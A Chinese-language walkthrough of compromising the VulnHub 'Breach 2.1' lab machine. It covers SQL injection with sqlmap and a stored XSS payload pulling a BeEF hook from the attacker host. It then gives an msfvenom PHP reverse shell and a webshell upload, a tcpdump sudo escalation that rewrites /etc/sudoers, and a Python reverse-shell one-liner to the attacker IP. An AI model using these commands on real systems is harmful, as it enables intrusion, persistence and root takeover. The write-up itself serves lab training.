本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机下载之后使用仅主机模式加载到本地VMware Workstation工作站,需要发现目标靶机的IP地址,可以使用nmap,netdiscover,或者arp之类的工具 arp-scan 例如:sudo arp-scan -I eth1 -l 当然也是可以使用Windows环境下mac地址扫描工具都是可以的,那么本次演示就是arp-scan工具发现
地址:https://www.vulnhub.com/entry/breach-21,159/
根据提示vulnhub官网提示,此靶机是固定IP地址,IP地址为:192.168.110.151
使用nmap进行扫描
nmap -n -Pn -sS -p- -sV 192.168.110.151 -v --open --script "http-title or default" -oA 192.168.110.151_$(date "+%Y-%m-%d")
看到开放了ssh端口65535,使用ssh连接看看
随便试试几个默认口令或者跟用户名一样的密码,没有成功,但是看到提示Peter的密码是inthesource,使用ssh连接之后再次检查目标靶机会有个blog可以访问
此时再次扫描目标靶机
发现开放了80端口,也就是上面提示的那个blog,我们使用dirb首先跑一下
发现了一个blog的目录,访问一下
看到有个搜索框,丢个单引号过去试试看看
凭经验应该是存在sql注入的,那么我们使用sqlmap跑一下
sqlmap -u "http://192.168.110.151/blog/index.php?search=" --dbs
最终是确认跑出来了admin的密码
丢到cmd5上查了下得到了密码
admin/32admin 这个先放着,我们先看看这个目标靶机是否存在nday,丢到Google上看看
得到如下对于的exp
这里为了利用存储下xss,我们直接使用kali环境下的beef攻击框架,详细使用方法:https://blog.csdn.net/whoim_i/article/details/102877616
在kali上安装好beef框架之后,开启beef
然后开始利用目标靶机的漏洞
根据https://www.exploit-db.com/exploits/17640 的提示,访问目标靶机的注册页面,然后输入<script src="http://192.168.110.128:3000/hook.js"></script> 攻击代码,密码和邮箱字段随便输入提交即可
提交成功之后访问http://192.168.110.151/blog/members.html 即可触发漏洞,此时便会在beef框架上看被控制端,具体过程如下:
再根据Redirect Browse配合metasploit拿个反弹shell
得到http://192.168.110.128:8080/shell 将这个shell环境丢到beef框架下的Redirect Browse执行
成功拿到shell
cat /etc/ssh/sshd_config
发现之所以登录peter被踢出来是因为执行了startme,那么我们丢一个执行shell的文件到.bashrc里面,让peter这个用户在登录成功之后执行shell进行可交互的shell命令行
执行echo "exec sh" > .bashrc
再次登录目标靶机使用peter这个用户
通过cat /etc/passwd 发现还有个用户milton和blumbergh
再看看网络连接状态
看到2323这个不常见的端口,我们连接看看
发现上述地理位置信息,使用map.google.com访问看看
这个靶机是老外搞的,试试英文的单词休斯顿Houston 将这个地名作为账户milton和blumbergh的密码进行尝试登录看看
确认使用账户milton的密码是对的,但是登录成功显示上述一些信息之后就断开连接了,显示的信息是有关stapler
根据关键字搜索
找到上述路径代码,看下代码内容
知道了原因就是因为执行这个代码3秒钟内没有回答正确就会被断开连接,所以现在看到了代码知道登录答案,那么我再试一把,答案是mine
此时已经登录成功,再次查看网络连接状态,发现开放了8888端口
访问8888端口看看
使用命令dirb进行目录爆破,发现了目标的后台登录地址
刚开始使用上面破解出来的账户和密码admin/32admin登录,发现登录失败,于是试试admin/admin居然登录进去了,登录成功找到了文件管理的位置,确认有可利用的位置
这里能上传文件,那么姿势就非常多了,可以使用kali自带的php-shell,也可以使用msf生成,生成的命令
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.110.128 LPORT=4444 -f raw -o meterpreter.php
我这里偷懒直接上传个webshell,名称为shell.php 然后直接访问 http://192.168.110.151:8888/oscommerce/includes/work/shell.php 即可
看看sudo的权限
确认可以使用tcpdump进行提权
执行下面两条命令进行提权
echo 'echo "blumbergh ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > /tmp/bmfxtq && chmod +x /tmp/bmfxtq sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/bmfxtq -Z root
上述是执行了提权的命令,看看效果
发现是已经执行成功,可以直接使用sudo -i命令进行提权,但是由于是webshell,不是tty环境,所以暂时无法切换,那么我们反弹一个shell生成tty环境试试
这里反弹shell方法很多哈,我就使用其中一种,具体反弹shell脚本如下:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("192.168.110.128",8856));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
生成python的交互式shell为了后面生成完美tty-shell做准备
python -c 'import pty; pty.spawn("/bin/bash")'
开始生成完美tty shell,具体操作如下:
在键盘上按住Ctrl+Z
此时便退出了当前的反弹shell
在当前的shell 执行 stty raw -echo
fg
使用sudo -i进行提权
获取flag,并执行